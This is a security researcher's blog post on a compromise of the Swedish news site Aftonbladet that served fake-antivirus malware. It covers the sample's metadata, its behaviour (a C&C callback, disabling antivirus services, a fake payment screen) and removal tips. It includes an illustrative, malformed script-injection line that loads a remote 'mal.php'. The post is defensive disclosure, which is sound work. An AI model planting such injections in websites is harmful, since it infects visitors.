Today a Swedish and well-visited newssite, AftonBladet (http://www.aftonbladet.se), was compromised and serving visitors a fake antivirus or rogueware.
There are two possibilities as to the cause:
Whoever the cause, the injected script may haven been as simple as:
document.write('< script src=http://http://www.aftonbladet.se/article/mal.php');
When trying to reproduce, it appeared it already was cleaned up, fast actions there.
Thanks to my Panda Security colleague Jimmy from Sweden, I was able to obtain a sample.
Size: 1084416 bytes
Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
Date: 0x52F1C3E1 [Wed Feb 5 04:53:53 2014 UTC]
EP: 0x5a8090 UPX1 1/3 [SUSPICIOUS]
CRC: Claimed: 0x0, Actual: 0x10eeb0 [SUSPICIOUS]
Packers: UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser
When executing the sample
|Windows Efficiency Master|
|Fake scanning results|
Besides dropping the usual EXE file in the %appdata% folder, it also drops a data.sec file with predefined scanning results (all fake obviously). Here's a pastebin with the contents of data.sec:
It also performs the usual actions:
- Usual blocking of EXE and other files
- Usual blocking of browser like Internet Explorer
- Callback to 22.214.171.124 C&C
- Stops several antivirus services and prevents them from running
- Reboots initially to stop certain logging and monitoring tools
- Uses mshta.exe (which executes HTML application files) for the usual payment screen
- Packed with UPX, so fairly easy to unpack
- Connects to http://checkip.dyndns.org/ to determine your IP
This rogueware or fake AV belongs to the Tritax family, which has been going around for quite some time and has lots and lots of different names, but the design, concept and initial social engineering attack are all the same.
@ydklijnsma made an excellent post on this family, which you can read here:
- Install an antivirus and antimalware product and keep it up-to-date & running.
- Use NoScript in Firefox or NotScripts in Chrome.
- Block the above IP. (either in your firewall or host file)
- Perform a full scan with your installed antivirus and a scan with another antivirus or antimalware product. You can check on VirusTotal which antivirus applications already detect this malware.
- If you are having issues doing this, reboot your machine in Safe Mode and remove the malware. For any other questions, don't hesitate to make a comment on this post or contact me on Twitter.
Follow the tips above to stay protected.
Information for researchers:
PCAP file with traffic (click)